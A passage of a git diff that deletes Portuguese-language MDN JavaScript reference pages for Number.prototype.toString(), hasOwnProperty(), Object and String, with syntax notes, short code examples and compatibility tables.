- <dt>{{jsxref("RangeError")}}</dt>
- <dd>Se o valor do parâmetro base não estiver entre [2, 36], o erro {{jsxref("RangeError")}} é lançado.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>O objecto {{jsxref("Number")}} faz override ao método <code>toString()</code> do objecto {{jsxref("Object")}}; não herda de {{jsxref("Object.prototype.toString()")}}. Para os objectos {{jsxref( "Number")}}, o método <code>toString() </code>retorna uma representação em string do ojecto na base especificada.</p>
-
-<p>O método <code>toString() </code>analisa o seu primeiro argumento e tenta retornar uma representação em string na base especificada. Para bases superiores a 10, as letras do alfabeto representam numerais maiores do que 9 (por ordem alfabética: a, b, c ...). Por exemplo, para números hexadecimais (base 16) são usadasa as letras do alfabeto até <code>f</code>.</p>
-
-<p>Se a <code>base </code>não for especificada, o seu valor assumido é 10.</p>
-
-<p>Se o <code><var>numObj </var></code>tem um valor negativo (&lt; 0), o sinal é preservado. O mesmo se aplica se a base tiver o valor 2; a string retornada é a representação positiva do binário de <code><var>numObj </var></code>precedida pelo sinal negativo (-), e não complement para 2 de <code>numObj</code>.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Usando_toString">Usando <code>toString</code></h3>
-
-<pre class="brush: js">var count = 10;
-
-console.log(count.toString()); // imprime '10'
-console.log((17).toString()); // imprime '17'
-
-var x = 6;
-
-console.log(x.toString(2)); // imprime '110'
-console.log((254).toString(16)); // imprime 'fe'
-
-console.log((-10).toString(2));   // imprime '-1010'
-console.log((-0xff).toString(2)); // imprime'-11111111'
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Definição inicial. Implementado em JavaScript 1.1.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.7.4.2', 'Number.prototype.tostring')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_dos_browsers">Compatibilidade dos browsers</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome para Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>BSuporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{jsxref("Number.prototype.toFixed()")}}</li>
- <li>{{jsxref("Number.prototype.toExponential()")}}</li>
- <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/object/hasownproperty/index.html b/files/pt-pt/web/javascript/reference/global_objects/object/hasownproperty/index.html
deleted file mode 100644
index 2c91823404..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/object/hasownproperty/index.html
+++ /dev/null
@@ -1,187 +0,0 @@
----
-title: Object.prototype.hasOwnProperty()
-slug: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
-tags:
- - JavaScript
- - Objeto
- - Prototipo
- - metodo
-translation_of: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
----
-<div>{{JSRef}}</div>
-
-<p>O método <code><strong>hasOwnProperty()</strong></code> retorna um booleano indicando se o objeto tem a propriedade especificada.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><code><var>obj</var>.hasOwnProperty(<var>prop</var>)</code></pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>prop</code></dt>
- <dd>O nome da propriedade para testar.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Cada objecto descendente de {{jsxref("Object")}} herda o método <code>hasOwnProperty</code>. Este método pode ser usado para determinar se um objecto contém a propriedade especificada como uma propriedade direta desse objeto; ao contrário do operador {{jsxref("Operators/in", "in")}}, este método não verifica a cadeia de objetos do protótipo.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Usando_hasOwnProperty_para_testar_a_existência_de_uma_propriedade">Usando <code>hasOwnProperty</code> para testar a existência de uma propriedade</h3>
-
-<p>O seguinte exemplo determina se o objecto "o" contém a propriedade "<code>prop"</code>:</p>
-
-<pre class="brush: js">o = new Object();
-o.prop = 'existe';
-
-function changeO() {
- o.newprop = o.prop;
- delete o.prop;
-}
-
-o.hasOwnProperty('prop'); // retorna true
-changeO();
-o.hasOwnProperty('prop'); // retorna false
-</pre>
-
-<h3 id="Direto_versus_propriedades_herdadas">Direto versus propriedades herdadas</h3>
-
-<p>O seguinte exemplo diferencia entre propriedades diretas e propriedades herdadas através da cadeia de protótipos:</p>
-
-<pre class="brush: js">o = new Object();
-o.prop = 'existe';
-o.hasOwnProperty('prop'); // retorna true
-o.hasOwnProperty('toString'); // retorna false
-o.hasOwnProperty('hasOwnProperty'); // retorna false
-</pre>
-
-<h3 id="Iteração_entre_as_propriedades_de_um_objeto">Iteração entre as propriedades de um objeto</h3>
-
-<p>O seguinte exemplo mostra como iterar entre as propriedades de um objeto sem executar em propriedades herdadas. Note que o ciclo {{jsxref("Statements/for...in", "for...in")}}  já está apenas repetindo itens enumeráveis então um não devia assumir baseado na falta de propriedades não-enumeráveis mostrado no ciclo que <code>hasOwnProperty</code> em si é estritamente limitado aos itens enumeráveis (como com {{jsxref("Object.getOwnPropertyNames()")}}).</p>
-
-<pre class="brush: js">var buz = {
- fog: 'stack'
-};
-
-for (var name in buz) {
- if (buz.hasOwnProperty(name)) {
- console.log('Isto é fog (' + name + ') com certeza. Valor: ' + buz[name]);
- }
- else {
- console.log(name); // toString ou outra coisa
- }
-}
-</pre>
-
-<h3 id="Usando_hasOwnProperty_como_um_nome_de_uma_propriedade">Usando <code>hasOwnProperty</code> como um nome de uma propriedade</h3>
-
-<p>JavaScript não protege a propriedade <code>hasOwnProperty</code>; assim, se a possibilidade existe de um objeto poder ter uma propriedade com este nome, é necessário usar um <code>hasOwnProperty</code> externo para obter resultados corretos:</p>
-
-<pre class="brush: js">var foo = {
- hasOwnProperty: function() {
- return false;
- },
- bar: 'Aqui os dragões'
-};
-
-foo.hasOwnProperty('bar'); // sempre retornará false
-
-// Use outro objeto hasOwnProperty e chame-o com 'this' definido como foo
-({}).hasOwnProperty.call(foo, 'bar'); // true
-
-// É também possível usar a propriedade hasOwnProperty através do protótipo do objeto para este propósito
-Object.prototype.hasOwnProperty.call(foo, 'bar'); // true
-</pre>
-
-<p>Note que no último caso, não há objetos recém-criados.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES3')}}</td>
- <td>{{Spec2('ES3')}}</td>
- <td>Definição inicial. Implementado em JavaScript 1.5.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_entre_browsers">Compatibilidade entre browsers</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Característica</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Característica</th>
- <th>Android</th>
- <th>Chrome para Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerabilidade e posse de propriedades</a></li>
- <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
- <li>{{jsxref("Statements/for...in", "for...in")}}</li>
- <li>{{jsxref("Operators/in", "in")}}</li>
- <li><a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_Revisited">Guia JavaScript: Herança e a cadeia de protótipos</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/object/index.html b/files/pt-pt/web/javascript/reference/global_objects/object/index.html
deleted file mode 100644
index e393f833b8..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/object/index.html
+++ /dev/null
@@ -1,184 +0,0 @@
----
-title: Object
-slug: Web/JavaScript/Reference/Global_Objects/Object
-tags:
- - Constructor
- - Construtor
- - JavaScript
- - Object
- - Objeto
-translation_of: Web/JavaScript/Reference/Global_Objects/Object
----
-<div>{{JSRef}}</div>
-
-<p>o construtor <code><strong>Object</strong></code> cria um wrapper de objeto.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox">// Object initialiser or literal
-{ [ <var>nameValuePair1</var>[, <var>nameValuePair2</var>[, ...<var>nameValuePairN</var>] ] ] }
-
-// Called as a constructor
-new Object([<var>value</var>])</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>nameValuePair1, nameValuePair2, ... nameValuePair<em>N</em></code></dt>
- <dd>Pairs of names (strings) and values (any value) where the name is separated from the value by a colon.</dd>
- <dt><code>value</code></dt>
- <dd>Any value.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>The <code>Object</code> constructor creates an object wrapper for the given value. If the value is {{jsxref("null")}} or {{jsxref("undefined")}}, it will create and return an empty object, otherwise, it will return an object of a Type that corresponds to the given value. If the value is an object already, it will return the value.</p>
-
-<p>When called in a non-constructor context, <code>Object</code> behaves identically to <code>new Object()</code>.</p>
-
-<p>See also the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer / literal syntax</a>.</p>
-
-<h2 id="Propriedades_de_um_construtor_Object">Propriedades de um construtor <code>Object</code></h2>
-
-<dl>
- <dt><code>Object.length</code></dt>
- <dd>Tem um valor de 1.</dd>
- <dt>{{jsxref("Object.prototype")}}</dt>
- <dd>Permite a adição de propriedades para todos os objetos do tipo <em>Object</em>.</dd>
-</dl>
-
-<h2 id="Métodos_de_um_construtor_Object">Métodos de um construtor <code>Object</code></h2>
-
-<dl>
- <dt>{{jsxref("Object.assign()")}}</dt>
- <dd>Copies the values of all enumerable own properties from one or more source objects to a target object.</dd>
- <dt>{{jsxref("Object.create()")}}</dt>
- <dd>Creates a new object with the specified prototype object and properties.</dd>
- <dt>{{jsxref("Object.defineProperty()")}}</dt>
- <dd>Adds the named property described by a given descriptor to an object.</dd>
- <dt>{{jsxref("Object.defineProperties()")}}</dt>
- <dd>Adds the named properties described by the given descriptors to an object.</dd>
- <dt>{{jsxref("Object.entries()")}}</dt>
- <dd>Returns an array containing all of the <code>[key, value]</code> pairs of a given object's <strong>own</strong> enumerable string properties.</dd>
- <dt>{{jsxref("Object.freeze()")}}</dt>
- <dd>Freezes an object: other code can't delete or change any properties.</dd>
- <dt>{{jsxref("Object.fromEntries()")}}</dt>
- <dd>Returns a new object from an iterable of key-value pairs (reverses {{jsxref("Object.entries")}}).</dd>
- <dt>{{jsxref("Object.getOwnPropertyDescriptor()")}}</dt>
- <dd>Returns a property descriptor for a named property on an object.</dd>
- <dt>{{jsxref("Object.getOwnPropertyDescriptors()")}}</dt>
- <dd>Returns an object containing all own property descriptors for an object.</dd>
- <dt>{{jsxref("Object.getOwnPropertyNames()")}}</dt>
- <dd>Returns an array containing the names of all of the given object's <strong>own</strong> enumerable and non-enumerable properties.</dd>
- <dt>{{jsxref("Object.getOwnPropertySymbols()")}}</dt>
- <dd>Returns an array of all symbol properties found directly upon a given object.</dd>
- <dt>{{jsxref("Object.getPrototypeOf()")}}</dt>
- <dd>Returns the prototype of the specified object.</dd>
- <dt>{{jsxref("Object.is()")}}</dt>
- <dd>Compares if two values are the same value. Equates all NaN values (which differs from both Abstract Equality Comparison and Strict Equality Comparison).</dd>
- <dt>{{jsxref("Object.isExtensible()")}}</dt>
- <dd>Determines if extending of an object is allowed.</dd>
- <dt>{{jsxref("Object.isFrozen()")}}</dt>
- <dd>Determines if an object was frozen.</dd>
- <dt>{{jsxref("Object.isSealed()")}}</dt>
- <dd>Determines if an object is sealed.</dd>
- <dt>{{jsxref("Object.keys()")}}</dt>
- <dd>Returns an array containing the names of all of the given object's <strong>own</strong> enumerable string properties.</dd>
- <dt>{{jsxref("Object.preventExtensions()")}}</dt>
- <dd>Prevents any extensions of an object.</dd>
- <dt>{{jsxref("Object.seal()")}}</dt>
- <dd>Prevents other code from deleting properties of an object.</dd>
- <dt>{{jsxref("Object.setPrototypeOf()")}}</dt>
- <dd>Sets the prototype (i.e., the internal <code>[[Prototype]]</code> property).</dd>
- <dt>{{jsxref("Object.values()")}}</dt>
- <dd>Returns an array containing the values that correspond to all of a given object's <strong>own</strong> enumerable string properties.</dd>
-</dl>
-
-<h2 id="Instâcias_de_Object_e_objeto_protótipo_Object">Instâcias de <code>Object</code> e objeto protótipo <code>Object</code></h2>
-
-<p>All objects in JavaScript are descended from <code>Object</code>; all objects inherit methods and properties from {{jsxref("Object.prototype")}}, although they may be overridden. For example, other constructors' prototypes override the <code>constructor</code> property and provide their own <code>toString()</code> methods. Changes to the <code>Object</code> prototype object are propagated to all objects unless the properties and methods subject to those changes are overridden further along the prototype chain.</p>
-
-<h3 id="Propriedades">Propriedades</h3>
-
-<div>{{page('//pt-PT/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Propriedades') }}</div>
-
-<h3 id="Métodos">Métodos</h3>
-
-<div>{{page('//pt-PT/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Métodos') }}</div>
-
-<h2 id="Deleting_a_property_from_an_object">Deleting a property from an object</h2>
-
-<p>There isn't any method in an Object itself to delete its own properties (e.g. like <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/delete">Map.prototype.delete()</a></code>). To do so one has to use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete operator</a>.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Using_Object_given_undefined_and_null_types">Using <code>Object</code> given <code>undefined</code> and <code>null</code> types</h3>
-
-<p>The following examples store an empty <code>Object</code> object in <code>o</code>:</p>
-
-<pre class="brush: js">var o = new Object();
-</pre>
-
-<pre class="brush: js">var o = new Object(undefined);
-</pre>
-
-<pre class="brush: js">var o = new Object(null);
-</pre>
-
-<h3 id="Using_Object_to_create_Boolean_objects">Using <code>Object</code> to create <code>Boolean</code> objects</h3>
-
-<p>The following examples store {{jsxref("Boolean")}} objects in <code>o</code>:</p>
-
-<pre class="brush: js">// equivalent to o = new Boolean(true);
-var o = new Object(true);
-</pre>
-
-<pre class="brush: js">// equivalent to o = new Boolean(false);
-var o = new Object(Boolean());
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition. Implemented in JavaScript 1.0.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.2', 'Object')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-object-objects', 'Object')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td>Added Object.assign, Object.getOwnPropertySymbols, Object.setPrototypeOf, Object.is</td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-object-objects', 'Object')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td>Added Object.entries, Object.values and Object.getOwnPropertyDescriptors.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<div>
-
-
-<p>{{Compat("javascript.builtins.Object")}}</p>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/JavaScript/Reference/Operadores/Inicializador_objeto">Inicializador de objeto</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/string/index.html b/files/pt-pt/web/javascript/reference/global_objects/string/index.html
deleted file mode 100644
index 4ccc8f5f81..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/string/index.html
+++ /dev/null
@@ -1,326 +0,0 @@
----
-title: String
-slug: Web/JavaScript/Reference/Global_Objects/String
-tags:
- - ECMAScript 2015
- - JavaScript
- - Referencia
- - String
-translation_of: Web/JavaScript/Reference/Global_Objects/String
----
-<div>{{JSRef}}</div>
-
-<p>O objeto global <strong><code>String</code></strong> é um construtor de <em>strings</em> ou sequência de carateres.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<p>Os literais de string assumem as formas:</p>
-
-<pre class="syntaxbox"><code>'string text'
-"string text"
-"中文 español English हिन्दी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 தமிழ்"</code></pre>
-
-<p>As Strings podem também ser criadas usando o objecto global string directamente:</p>
-
-<pre class="syntaxbox"><code>String(thing)
-new String(thing)</code></pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>thing</code></dt>
- <dd>Qualquer parâmetro para ser convertido numa <em>string</em>.</dd>
-</dl>
-
-<h3 id="Strings_modelo"><em>Strings </em>modelo</h3>
-
-<p>A partir de ECMAScript 2015, os literais de <em>strings</em> podem também ser chamados de <a href="/en-US/docs/Web/JavaScript/Reference/template_strings">Modelo strings</a>:</p>
-
-<pre class="brush: js"><code>`hello world`</code>
-`hello!
- world!`
-<code>`hello ${who}`</code>
-<code>escape `&lt;a&gt;${who}&lt;/a&gt;`</code></pre>
-
-<dl>
-</dl>
-
-<h3 id="Notação_Escape">Notação <em>Escape</em></h3>
-
-<p>Além dos carateres regulares e imprmiveis, os carateres especiais também podem ser codificados com notação <em>escape</em>:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Código</th>
- <th scope="col">Resultado</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>\XXX</code> (<code>XXX</code> = 1 - 3 octal digits; range of 0 - 377)</td>
- <td>ISO-8859-1 character / Unicode code point between U+0000 and U+00FF</td>
- </tr>
- <tr>
- <td><code>\'</code></td>
- <td>Aspas simples</td>
- </tr>
- <tr>
- <td><code>\"</code></td>
- <td>Aspas duplas</td>
- </tr>
- <tr>
- <td><code>\\</code></td>
- <td>Barra invertida</td>
- </tr>
- <tr>
- <td><code>\n</code></td>
- <td>Nova linha</td>
- </tr>
- <tr>
- <td><code>\r</code></td>
- <td>carriage return</td>
- </tr>
- <tr>
- <td><code>\v</code></td>
- <td>Tab vertical</td>
- </tr>
- <tr>
- <td><code>\t</code></td>
- <td>Tab</td>
- </tr>
- <tr>
- <td><code>\b</code></td>
- <td>backspace</td>
- </tr>
- <tr>
- <td><code>\f</code></td>
- <td>form feed</td>
- </tr>
- <tr>
- <td><code>\uXXXX</code> (<code>XXXX</code> = 4 hex digits; range of 0x0000 - 0xFFFF)</td>
- <td>UTF-16 code unit / Unicode code point between U+0000 and U+FFFF</td>
- </tr>
- <tr>
- <td><code>\u{X}</code> ... <code>\u{XXXXXX}</code> (<code>X…XXXXXX</code> = 1 - 6 hex digits; range of 0x0 - 0x10FFFF)</td>
- <td>UTF-32 code unit / Unicode code point between U+0000 and U+10FFFF {{experimental_inline}}</td>
- </tr>
- <tr>
- <td><code>\xXX</code> (<code>XX</code> = 2 hex digits; range of 0x00 - 0xFF)</td>
- <td>ISO-8859-1 character / Unicode code point between U+0000 and U+00FF</td>
- </tr>
- </tbody>
-</table>
-
-<div class="note">
-<p><strong>Note: </strong>Ao contrário de algumas outras linguagens, o Javascript não faz distinção entre strings com aspas simples e aspas duplas; Portanto a notação "escape" funciona em strings independente se foi utilizada aspas simples, ou aspas duplas na criação.</p>
-</div>
-
-<h3 id="Strings_literais_longas"><em>Strings </em>literais longas</h3>
-
-<p>Sometimes, your code will include strings which are very long. Rather than having lines that go on endlessly, or wrap at the whim of your editor, you may wish to specifically break the string into multiple lines in the source code without affecting the actual string contents. There are two ways you can do this.</p>
-
-<p>You can use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition_()">+</a> operator to append multiple strings together, like this:</p>
-
-<pre class="brush: js">let longString = "This is a very long string which needs " +
- "to wrap across multiple lines because " +
- "otherwise my code is unreadable.";
-</pre>
-
-<p>Or you can use the backslash character ("\") at the end of each line to indicate that the string will continue on the next line. Make sure there is no space or any other character after the backslash (except for a line break), or as an indent; otherwise it will not work. That form looks like this:</p>
-
-<pre class="brush: js">let longString = "This is a very long string which needs \
-to wrap across multiple lines because \
-otherwise my code is unreadable.";
-</pre>
-
-<p>Both of these result in identical strings being created.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Strings are useful for holding data that can be represented in text form. Some of the most-used operations on strings are to check their {{jsxref("String.length", "length")}}, to build and concatenate them using the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/String_Operators">+ and += string operators</a>, checking for the existence or location of substrings with the {{jsxref("String.prototype.indexOf()", "indexOf()")}} method, or extracting substrings with the {{jsxref("String.prototype.substring()", "substring()")}} method.</p>
-
-<h3 id="Acesso_de_caráter">Acesso de caráter</h3>
-
-<p>There are two ways to access an individual character in a string. The first is the {{jsxref("String.prototype.charAt()", "charAt()")}} method:</p>
-
-<pre class="brush: js">return 'cat'.charAt(1); // returns "a"
-</pre>
-
-<p>The other way (introduced in ECMAScript 5) is to treat the string as an array-like object, where individual characters correspond to a numerical index:</p>
-
-<pre class="brush: js">return 'cat'[1]; // returns "a"
-</pre>
-
-<p>For character access using bracket notation, attempting to delete or assign a value to these properties will not succeed. The properties involved are neither writable nor configurable. (See {{jsxref("Object.defineProperty()")}} for more information.)</p>
-
-<h3 id="Comparação_de_strings">Comparação de <em>strings</em></h3>
-
-<p>C developers have the <code>strcmp()</code> function for comparing strings. In JavaScript, you just use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">less-than and greater-than operators</a>:</p>
-
-<pre class="brush: js">var a = 'a';
-var b = 'b';
-if (a &lt; b) { // true
- console.log(a + ' is less than ' + b);
-} else if (a &gt; b) {
- console.log(a + ' is greater than ' + b);
-} else {
- console.log(a + ' and ' + b + ' are equal.');
-}
-</pre>
-
-<p>A similar result can be achieved using the {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} method inherited by <code>String</code> instances.</p>
-
-<h3 id="Distinção_entre_string_primitivas_e_objetos_String">Distinção entre <em>string</em> primitivas e objetos <em><code>String</code></em></h3>
-
-<p>Note that JavaScript distinguishes between <code>String</code> objects and primitive string values. (The same is true of {{jsxref("Boolean")}} and {{jsxref("Global_Objects/Number", "Numbers")}}.)</p>
-
-<p>String literals (denoted by double or single quotes) and strings returned from <code>String</code> calls in a non-constructor context (i.e., without using the {{jsxref("Operators/new", "new")}} keyword) are primitive strings. JavaScript automatically converts primitives to <code>String</code> objects, so that it's possible to use <code>String</code> object methods for primitive strings. In contexts where a method is to be invoked on a primitive string or a property lookup occurs, JavaScript will automatically wrap the string primitive and call the method or perform the property lookup.</p>
-
-<pre class="brush: js">var a = 'a';
-var b = 'b';
-if (a &lt; b) { // true
- console.log(a + ' is less than ' + b);
-} else if (a &gt; b) {
- console.log(a + ' is greater than ' + b);
-} else {
- console.log(a + ' and ' + b + ' are equal.');
-}
-</pre>
-
-<p>A similar result can be achieved using the {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} method inherited by <code>String</code> instances.</p>
-
-<div class="blockIndicator note">
-<p>Nota: <code>a == b</code> compares the strings in a and b for being equal in the usual case-sensitive way. If you wish to compare without regard to upper or lower case characters, use a function similar to this:</p>
-
-<p><code>function isEqual(str1, str2)<br>
-     {<br>
-     return str1.toUpperCase()===str2.toUpperCase();<br>
-     } // isEqual</code></p>
-
-<p>Upper case is used instead of lower case in this function due to problems with certain UTF-8 character conversions.</p>
-</div>
-
-<h3 id="Distinção_entre_string_primitivas_e_objetos_String_2">Distinção entre <em>string</em> primitivas e objetos <em><code>String</code></em></h3>
-
-<p>Note that JavaScript distinguishes between <code>String</code> objects and primitive string values. (The same is true of {{jsxref("Boolean")}} and {{jsxref("Global_Objects/Number", "Numbers")}}.)</p>
-
-<p>String literals (denoted by double or single quotes) and strings returned from <code>String</code> calls in a non-constructor context (i.e., without using the {{jsxref("Operators/new", "new")}} keyword) are primitive strings. JavaScript automatically converts primitives to <code>String</code> objects, so that it's possible to use <code>String</code> object methods for primitive strings. In contexts where a method is to be invoked on a primitive string or a property lookup occurs, JavaScript will automatically wrap the string primitive and call the method or perform the property lookup.</p>
-
-<pre class="brush: js">var s_prim = 'foo';
-var s_obj = new String(s_prim);
-
-console.log(typeof s_prim); // Logs "string"
-console.log(typeof s_obj); // Logs "object"
-</pre>
-
-<p>String primitives and <code>String</code> objects also give different results when using {{jsxref("Global_Objects/eval", "eval()")}}. Primitives passed to <code>eval</code> are treated as source code; <code>String</code> objects are treated as all other objects are, by returning the object. For example:</p>
-
-<pre class="brush: js">var s1 = '2 + 2'; // creates a string primitive
-var s2 = new String('2 + 2'); // creates a String object
-console.log(eval(s1)); // returns the number 4
-console.log(eval(s2)); // returns the string "2 + 2"
-</pre>
-
-<p>For these reasons, the code may break when it encounters <code>String</code> objects when it expects a primitive string instead, although generally, authors need not worry about the distinction.</p>
-
-<p>A <code>String</code> object can always be converted to its primitive counterpart with the {{jsxref("String.prototype.valueOf()", "valueOf()")}} method.</p>
-
-<pre class="brush: js">console.log(eval(s2.valueOf())); // returns the number 4
-</pre>
-
-<div class="note"><strong>Nota:</strong> For another possible approach to strings in JavaScript, please read the article about <a href="/en-US/Add-ons/Code_snippets/StringView"><code>StringView</code> — a C-like representation of strings based on typed arrays</a>.</div>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<dl>
- <dt>{{jsxref("String.prototype")}}</dt>
- <dd>Allows the addition of properties to a <code>String</code> object.</dd>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<dl>
- <dt>{{jsxref("String.fromCharCode()")}}</dt>
- <dd>Returns a string created by using the specified sequence of Unicode values.</dd>
- <dt>{{jsxref("String.fromCodePoint()")}}</dt>
- <dd>Returns a string created by using the specified sequence of code points.</dd>
- <dt>{{jsxref("String.raw()")}} {{experimental_inline}}</dt>
- <dd>Returns a string created from a raw template string.</dd>
-</dl>
-
-<h2 id="Instâncias_de_String">Instâncias de <em><code>String</code></em></h2>
-
-<h3 id="Propriedades_2">Propriedades</h3>
-
-<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'Properties')}}</div>
-
-<h3 id="Métodos_2">Métodos</h3>
-
-<h4 id="Methods_unrelated_to_HTML">Methods unrelated to HTML</h4>
-
-<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'Methods_unrelated_to_HTML')}}</div>
-
-<h4 id="HTML_wrapper_methods">HTML wrapper methods</h4>
-
-<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'HTML_wrapper_methods')}}</div>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Conversão_de_String">Conversão de <em>String</em></h3>
-
